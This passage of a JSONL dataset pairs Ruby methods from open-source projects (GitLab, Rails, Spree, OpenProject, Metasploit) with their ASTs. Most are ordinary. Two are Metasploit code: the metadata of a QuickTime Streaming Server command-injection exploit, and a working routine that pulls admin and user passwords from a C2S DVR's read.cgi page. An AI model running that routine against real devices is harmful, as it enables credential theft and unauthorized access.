\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"userid\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"userid\"]},{\"type\":\"lvar\",\"children\":[\"userid\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"queue_opts\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class_name\"]},{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method_name\"]},{\"type\":\"str\",\"children\":[\"import_image\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"role\"]},{\"type\":\"str\",\"children\":[\"ems_operations\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"zone\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ext_management_system\"]},\"my_zone\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"queue_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ext_management_system\"]},\"queue_name_for_ems_operations\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"args\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ext_management_system\"]},\"id\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqTask\"]},\"generic_action_with_callback\",{\"type\":\"lvar\",\"children\":[\"task_opts\"]},{\"type\":\"lvar\",\"children\":[\"queue_opts\"]}]}]}]}","id":"0e74219b-dcd8-4c14-bf8e-50a6b394c1f5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/shared_contexts/work_items/confidentiality_shared_context.rb","start_line":20,"raw_source":"def confidentiality_table_for_work_item_access\n    :public   | :enabled  | :admin      | true  | 4\n    :public   | :enabled  | :admin      | false | 3 # non-confidential, assigned, author\n    :public   | :enabled  | :planner    | nil   | 4\n    :public   | :enabled  | :guest      | nil   | 3 # non-confidential, assigned, author\n    :public   | :enabled  | :non_member | nil   | 3 # non-confidential, assigned, author\n    :public   | :enabled  | :anonymous  | nil   | 1 # non-confidential\n\n    :internal | :enabled  | :admin      | true  | 4\n    :internal | :enabled  | :admin      | false | 3 # non-confidential, assigned, author\n    :internal | :enabled  | :planner    | nil   | 4\n    :internal | :enabled  | :guest      | nil   | 3 # non-confidential, assigned, author\n    :internal | :enabled  | :non_member | nil   | 3 # non-confidential, assigned, author\n    :internal | :enabled  | :anonymous  | nil   | 0\n\n    :private  | :private  | :admin      | true  | 4\n    :private  | :private  | :admin      | false | 0\n    :private  | :private  | :planner    | nil   | 4\n    :private  | :private  | :guest      | nil   | 3 # non-confidential, assigned, author\n    :private  | :private  | :non_member | nil   | 0\n    :private  | :private  | :anonymous  | nil   | 0\n  end","complexity_score":97.8,"ast_json":"{\"type\":\"def\",\"children\":[\"confidentiality_table_for_work_item_access\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"sym\",\"children\":[\"public\"]},\"|\",{\"type\":\"sym\",\"children\":[\"enabled\"]}]},\"|\",{\"type\":\"sym\",\"children\":[\"admin\"]}]},\"|\",{\"type\":\"true\",\"children\":[]}]},\"|\",{\"type\":\"int\",\"children\":[4]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"sym\",\"children\":[\"public\"]},\"|\",{\"type\":\"sym\",\"children\":[\"enabled\"]}]},\"|\",{\"type\":\"sym\",\"children\":[\"admin\"]}]},\"|\",{\"type\":\"false\",\"children\":[]}]},\"|\",{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"sym\",\"children\":[\"public\"]},\"|\",{\"type\":\"sym\",\"children\":[\"enabled\"]}]},\"|\",{\"type\":\"sym\",\"children\":[\"planner\"]}]},\"|\",{\"type\":\"nil\",\"children\":[]}]},\"|\",{\"type\":\"int\",\"children\":[4]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"sym\",\"children\":[\"public\"]},\"|\",{\"type\":\"sym\",\"children\":[\"enabled\"]}]},\"|\",{\"type\":\"sym\",\"children\":[\"guest\"]}]},\"|\",{\"type\":\"nil\",\"children\":[]}]},\"|\",{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"sym\",\"children\":[\"public\"]},\"|\",{\"type\":\"sym\",\"children\":[\"enabled\"]}]},\"|\",{\"type\":\"sym\",\"children\":[\"non_member\"]}]},\"|\",{\"type\":\"nil\",\"children\":[]}]},\"|\",{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"sym\",\"children\":[\"public\"]},\"|\",{\"type\":\"sym\",\"children\":[\"enabled\"]}]},\"|\",{\"type\":\"sym\",\"children\":[\"anonymous\"]}]},\"|\",{\"type\":\"nil\",\"children\":[]}]},\"|\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"sym\",\"children\":[\"internal\"]},\"|\",{\"type\":\"sym\",\"children\":[\"enabled\"]}]},\"|\",{\"type\":\"sym\",\"children\":[\"admin\"]}]},\"|\",{\"type\":\"true\",\"children\":[]}]},\"|\",{\"type\":\"int\",\"children\":[4]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"sym\",\"children\":[\"internal\"]},\"|\",{\"type\":\"sym\",\"children\":[\"enabled\"]}]},\"|\",{\"type\":\"sym\",\"children\":[\"admin\"]}]},\"|\",{\"type\":\"false\",\"children\":[]}]},\"|\",{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"sym\",\"children\":[\"internal\"]},\"|\",{\"type\":\"sym\",\"children\":[\"enabled\"]}]},\"|\",{\"type\":\"sym\",\"children\":[\"planner\"]}]},\"|\",{\"type\":\"nil\",\"children\":[]}]},\"|\",{\"type\":\"int\",\"children\":[4]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"sym\",\"children\":[\"internal\"]},\"|\",{\"type\":\"sym\",\"children\":[\"enabled\"]}]},\"|\",{\"type\":\"sym\",\"children\":[\"guest\"]}]},\"|\",{\"type\":\"nil\",\"children\":[]}]},\"|\",{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"sym\",\"children\":[\"internal\"]},\"|\",{\"type\":\"sym\",\"children\":[\"enabled\"]}]},\"|\",{\"type\":\"sym\",\"children\":[\"non_member\"]}]},\"|\",{\"type\":\"nil\",\"children\":[]}]},\"|\",{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"sym\",\"children\":[\"internal\"]},\"|\",{\"type\":\"sym\",\"children\":[\"enabled\"]}]},\"|\",{\"type\":\"sym\",\"children\":[\"anonymous\"]}]},\"|\",{\"type\":\"nil\",\"children\":[]}]},\"|\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"sym\",\"children\":[\"private\"]},\"|\",{\"type\":\"sym\",\"children\":[\"private\"]}]},\"|\",{\"type\":\"sym\",\"children\":[\"admin\"]}]},\"|\",{\"type\":\"true\",\"children\":[]}]},\"|\",{\"type\":\"int\",\"children\":[4]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"sym\",\"children\":[\"private\"]},\"|\",{\"type\":\"sym\",\"children\":[\"private\"]}]},\"|\",{\"type\":\"sym\",\"children\":[\"admin\"]}]},\"|\",{\"type\":\"false\",\"children\":[]}]},\"|\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"sym\",\"children\":[\"private\"]},\"|\",{\"type\":\"sym\",\"children\":[\"private\"]}]},\"|\",{\"type\":\"sym\",\"children\":[\"planner\"]}]},\"|\",{\"type\":\"nil\",\"children\":[]}]},\"|\",{\"type\":\"int\",\"children\":[4]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"sym\",\"children\":[\"private\"]},\"|\",{\"type\":\"sym\",\"children\":[\"private\"]}]},\"|\",{\"type\":\"sym\",\"children\":[\"guest\"]}]},\"|\",{\"type\":\"nil\",\"children\":[]}]},\"|\",{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"sym\",\"children\":[\"private\"]},\"|\",{\"type\":\"sym\",\"children\":[\"private\"]}]},\"|\",{\"type\":\"sym\",\"children\":[\"non_member\"]}]},\"|\",{\"type\":\"nil\",\"children\":[]}]},\"|\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"sym\",\"children\":[\"private\"]},\"|\",{\"type\":\"sym\",\"children\":[\"private\"]}]},\"|\",{\"type\":\"sym\",\"children\":[\"anonymous\"]}]},\"|\",{\"type\":\"nil\",\"children\":[]}]},\"|\",{\"type\":\"int\",\"children\":[0]}]}]}]}","id":"74c57cb0-5822-429e-ad67-a182f47986b5"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/webapp/qtss_parse_xml_exec.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'QuickTime Streaming Server parse_xml.cgi Remote Execution',\n        'Description' => %q{\n          The QuickTime Streaming Server contains a CGI script that is vulnerable\n          to metacharacter injection, allow arbitrary commands to be executed as root.\n        },\n        'Author' => [ 'hdm' ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          [ 'OSVDB', '10562'],\n          [ 'BID', '6954' ],\n          [ 'CVE', '2003-0050' ]\n        ],\n        'Privileged' => true,\n        'Payload' => {\n          'DisableNops' => true,\n          'Space' => 512,\n          'Compat' =>\n                        {\n                          'PayloadType' => 'cmd cmd_bash',\n                          'RequiredCmd' => 'generic perl bash-tcp telnet',\n                        }\n        },\n        'Platform' => 'unix',\n        'Arch' => ARCH_CMD,\n        'Targets' => [[ 'Automatic', {}]],\n        'DefaultTarget' => 0,\n        'DisclosureDate' => '2003-02-24',\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        Opt::RPORT(1220)\n      ]\n    )\n  end","complexity_score":5.85,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"QuickTime Streaming Server parse_xml.cgi Remote Execution\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          The QuickTime Streaming Server contains a CGI script that is vulnerable\\n\"]},{\"type\":\"str\",\"children\":[\"          to metacharacter injection, allow arbitrary commands to be executed as root.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"hdm\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"10562\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"6954\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2003-0050\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisableNops\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[512]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Compat\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PayloadType\"]},{\"type\":\"str\",\"children\":[\"cmd cmd_bash\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RequiredCmd\"]},{\"type\":\"str\",\"children\":[\"generic perl bash-tcp telnet\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"unix\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Automatic\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2003-02-24\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[1220]}]}]}]}]}]}","id":"ad75b125-ee36-4a9d-8e0b-f5bc64971d1f"}
{"repo_name":"rails","file_path":"./repos/rails/actionmailer/lib/action_mailer/collector.rb","start_line":12,"raw_source":"def initialize(context, &block)\n      @context = context\n      @responses = []\n      @default_render = block\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"context\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@context\",{\"type\":\"lvar\",\"children\":[\"context\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@responses\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@default_render\",{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}","id":"95a28671-389d-4321-a7f4-5d357d48ba6d"}
{"repo_name":"spree","file_path":"./repos/spree/admin/app/controllers/spree/admin/option_values_controller.rb","start_line":16,"raw_source":"def location_after_save\n        spree.edit_admin_option_type_path(@parent)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"location_after_save\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"spree\"]},\"edit_admin_option_type_path\",{\"type\":\"ivar\",\"children\":[\"@parent\"]}]}]}","id":"01aab29a-7d17-4828-a554-82413b088ee7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/compare.rb","start_line":92,"raw_source":"def repository\n    project.repository\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"repository\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"repository\"]}]}","id":"601dfadc-1ab4-43ac-84d4-6717d92f271c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/c2s_dvr_password_disclosure.rb","start_line":33,"raw_source":"def run_host(rhost)\n    begin\n      url = normalize_uri(datastore['TARGETURI'], 'cgi-bin', 'read.cgi')\n      vprint_status(\"Attempting to load data from #{url}?page=2\")\n      res = send_request_cgi({\n        'uri' => url,\n        'vars_get' => { 'page' => '2' }\n      })\n      unless res\n        print_error(\"#{peer} Unable to connect to #{url}\")\n        return\n      end\n\n      unless res.body.include?('pw_enflag')\n        print_error(\"Invalid response received for #{peer} for #{url}\")\n        return\n      end\n\n      if res.body =~ /pw_adminpw = \"(.+?)\";/\n        print_good(\"Found: admin:#{$1}\")\n        store_valid_credential(\n          user: 'admin',\n          private: $1,\n          private_type: :password\n        )\n      end\n\n      if res.body =~ /pw_userpw = \"(.+?)\";/\n        print_good(\"Found: user:#{$1}\")\n        store_valid_credential(\n          user: 'user',\n          private: $1,\n          private_type: :password\n        )\n      end\n    rescue ::Rex::ConnectionError\n      print_error(\"#{peer} Unable to connect to site\")\n      return\n    end\n  end","complexity_score":33.8,"ast_json":"{\"type\":\"def\",\"children\":[\"run_host\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"rhost\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"url\",{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]}]},{\"type\":\"str\",\"children\":[\"cgi-bin\"]},{\"type\":\"str\",\"children\":[\"read.cgi\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Attempting to load data from \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]}]},{\"type\":\"str\",\"children\":[\"?page=2\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"lvar\",\"children\":[\"url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"page\"]},{\"type\":\"str\",\"children\":[\"2\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" Unable to connect to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]}]}]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"include?\",{\"type\":\"str\",\"children\":[\"pw_enflag\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Invalid response received for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]}]}]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"pw_adminpw = \\\"(.+?)\\\";\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Found: admin:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"nth_ref\",\"children\":[1]}]}]}]},{\"type\":\"send\",\"children\":[null,\"store_valid_credential\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"str\",\"children\":[\"admin\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private\"]},{\"type\":\"nth_ref\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_type\"]},{\"type\":\"sym\",\"children\":[\"password\"]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"pw_userpw = \\\"(.+?)\\\";\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Found: user:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"nth_ref\",\"children\":[1]}]}]}]},{\"type\":\"send\",\"children\":[null,\"store_valid_credential\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"str\",\"children\":[\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private\"]},{\"type\":\"nth_ref\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_type\"]},{\"type\":\"sym\",\"children\":[\"password\"]}]}]}]}]},null]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionError\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" Unable to connect to site\"]}]}]},{\"type\":\"return\",\"children\":[]}]}]},null]}]}]}","id":"5dd720b3-a4a2-4664-8d09-88d3ab019541"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/workers/storages/manage_storage_integrations_job.rb","start_line":63,"raw_source":"def perform\n      Storage.automatic_management_enabled.find_each do |storage|\n        AutomaticallyManagedStorageSyncJob.perform_later(storage)\n      end\n    end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Storage\"]},\"automatic_management_enabled\"]},\"find_each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"storage\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AutomaticallyManagedStorageSyncJob\"]},\"perform_later\",{\"type\":\"lvar\",\"children\":[\"storage\"]}]}]}]}","id":"a5fa8170-694b-4f81-bd82-f76786b2b503"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/ci/archive_traces_cron_worker.rb","start_line":14,"raw_source":"def perform\n      # Archive stale live traces which still resides in redis or database\n      # This could happen when Ci::ArchiveTraceWorker sidekiq jobs were lost by receiving SIGKILL\n      # More details in https://gitlab.com/gitlab-org/gitlab-foss/issues/36791\n\n      Ci::ArchiveTraceService.new.batch_execute(worker_name: self.class.name)\n    end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ci\"]},\"ArchiveTraceService\"]},\"new\"]},\"batch_execute\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"worker_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"name\"]}]}]}]}]}","id":"66531960-36f8-49f5-9051-58b72662d906"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/regex/packages.rb","start_line":181,"raw_source":"def helm_package_regex\n        @helm_package_regex ||= %r{#{helm_channel_regex}}\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"helm_package_regex\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@helm_package_regex\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"helm_channel_regex\"]}]},{\"type\":\"regopt\",\"children\":[]}]}]}]}","id":"5ec48ba9-f7a7-4085-8729-bfa855fde2d8"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/helpers/tags/radio_button.rb","start_line":16,"raw_source":"def render\n          options = @options.stringify_keys\n          options[\"type\"]     = \"radio\"\n          options[\"value\"]    = @tag_value\n          options[\"checked\"] = \"checked\" if input_checked?(options)\n          add_default_name_and_field_for_value(@tag_value, options)\n          tag(\"input\", options)\n        